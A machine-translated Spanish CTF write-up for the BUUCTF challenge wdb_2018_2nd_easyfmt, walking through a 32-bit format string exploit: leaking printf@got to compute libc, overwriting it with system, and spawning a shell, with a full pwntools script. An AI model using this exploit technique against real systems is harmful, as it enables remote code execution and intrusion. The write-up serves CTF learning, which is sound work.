[BUUCTF] REVERSE —— wdb_2018_2nd_easyfmt (cadena de formato de 32 bits para modificar la tabla obtenida)

wdb_2018_2nd_easyfmt

anexo

paso

  1. Inspección de rutina, programa de 32 bits, nx está activado
    Inserte la descripción de la imagen aquí
  2. Pruébelo localmente, observe la situación general, observe la situación interactiva y sepa que existe una vulnerabilidad de cadena de formato
    Inserte la descripción de la imagen aquí
  3. Carga ida de 32 bits
    Inserte la descripción de la imagen aquí

Usa ideas:

  1. Encuentra el desplazamiento del carácter de formato
  2. Imprima la dirección de print @ got, libc de fuga, calcule la dirección del sistema
  3. Modifique print @ got al sistema y pase el parámetro '/ bin / bash \ x00'

Proceso de utilización:

  1. Encuentra el desplazamiento es 6
    Inserte la descripción de la imagen aquí
  2. Imprime la dirección de print @ got
printf_got=elf.got["printf"]

payload=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))

Una pequeña nota es recibir la dirección de printf @ got.
Inserte la descripción de la imagen aquí
Recibo 4 bytes a la vez, y la segunda vez recibo la dirección que queremos. Creo que Master Pwnki usó f7 para recibirlo, y luego lo sacó usando la sintaxis de corte de Python, en segundos.

p.recv()
#sleep(1)
printf = p.recvuntil('\xf7')[-4:]
  1. Pasos de rutina de libc con fugas, sistema de cálculo, incapaz de usar LibcSearcher, use libc arriba y abajo de buu
#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')

libc=ELF('./libc-2.23(32).so')
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr ---> ",hex(system_addr))
  1. Modifique printf @ got al sistema, porque es un programa de 32 bits, por lo que uso directamente fmtstr_payload en pwntools, e ingreso bin / sh para obtener el shell
payload=fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')

Exp completa

from pwn import *
from LibcSearcher import *

context.log_level='debug'

p=remote("node3.buuoj.cn",29522)
#p=process('./wdb_2018_2nd_easyfmt')
elf=ELF('./wdb_2018_2nd_easyfmt')


printf_got=elf.got["printf"]

payload=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))

#libc=LibcSearcher('printf',printf_addr)
#libc_base=printf_addr-libc.dump('printf')
#system=libc_base+libc.dump('system')

libc=ELF('./libc-2.23(32).so')
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr ---> ",hex(system_addr))

payload=fmtstr_payload(6,{printf_got:system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/114490292
Recomendado
Clasificación